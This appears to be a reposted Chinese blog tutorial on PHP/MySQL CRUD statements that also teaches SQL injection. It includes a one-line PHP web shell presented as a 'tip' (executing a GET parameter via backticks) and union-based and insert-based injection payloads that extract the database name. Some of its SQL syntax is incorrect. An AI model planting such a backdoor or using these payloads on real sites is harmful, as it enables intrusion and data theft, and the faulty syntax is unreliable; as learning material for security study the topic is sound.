(php增删改查)(php增删改查遇到的问题)

增、删、改、查,贴码:

1、增加数据

  • insert into table_name value ('1','2',3…)
  • 也可以通过set指定添加的字段:insert into table_name set ('1',3…) value(1,2,3…)

那么第二条跟第一条有什么区别呢?

举个栗子:user表中有三个字段;

用第一条命令添加数据 value 值后面必须有三个值;

而用第二条命令 ,可以通过 set 设置指明 我就需要 添加 第一列和第三列的,第二列不需要填,那么value值就填俩个值就OK;

注:添加数据时可以同 ` 这个符号(ESC下面一个的按键)表明这是个字段,是MySQL的转义符,如: insert into user value (`juzi`,`20`) ;用于包含数据库名、表名、字段名,避免与其他关键字冲突;

小技巧:<?php $test=$_GET['zxc']; echo `$test`; ?> 这句话等效于 <?php eval($_GET['zxc']); ?>  这句话就是使用 ` 这个反勾号达到的效果;

2、删除数据

  • delete from table_name where id=1;  #删数据
  • drop database db_name;       #删数据库
  • drop table table_name;        #删表

3、修改数据

  •   update table_name set column_name='%d' where id =%d    %d 作为可以替换的数据,column_name 是 字段名

4、查找数据

  • select * from table_name   #查找数据
  • select column_name from table_name where column_name=%d   %d 作为可以替换的数据

写个 查找数据 时的注入漏洞吧;

举栗:

若原查询语句为: select username from user where id='$id' 或为 select * from user where username='$username'&passwd='$passwd'    其中 $id、$username、$passwdd 是 通过浏览器 接收过来的变量,即可控变量;(假设没做过滤)

那么构造语句为:

$id = 0' union select 1,database(),'3  

$username = 0' union select 1,database(),3#

$passwd = 不写也行

select username from user where id='0' union select 1,database(),'3'  以及  select * from user where username='0' union select 1,database(),3# '&passwd=''   井号后面不解析,注释了

那么再举个栗子:

通过 insert into 增加数据 构造注入;

insert into table_name value('1','2','3'...)    1,2,3为前端浏览器输入的内容,即可控制;

构造语句:insert into table_name value('1','0'+substr((select database()) from 1 for 1)+'0','3')  必要时,可以在 substr 外面加个 ASCII()进行转码;为什么这么写,上篇unfinish有提到;

声明:我要去上班所有作品(图文、音视频)均由用户自行上传分享,仅供网友学习交流,版权归原作者一个三分球所有,原文出处。若您的权利被侵害,请联系删除。

本文标题:(php增删改查)(php增删改查遇到的问题)
本文链接:https://www.51qsb.cn/article/m8pn4.html

(0)
打赏微信扫一扫微信扫一扫QQ扫一扫QQ扫一扫
上一篇2023-01-30
下一篇2023-01-31

你可能还想知道

发表回复

登录后才能评论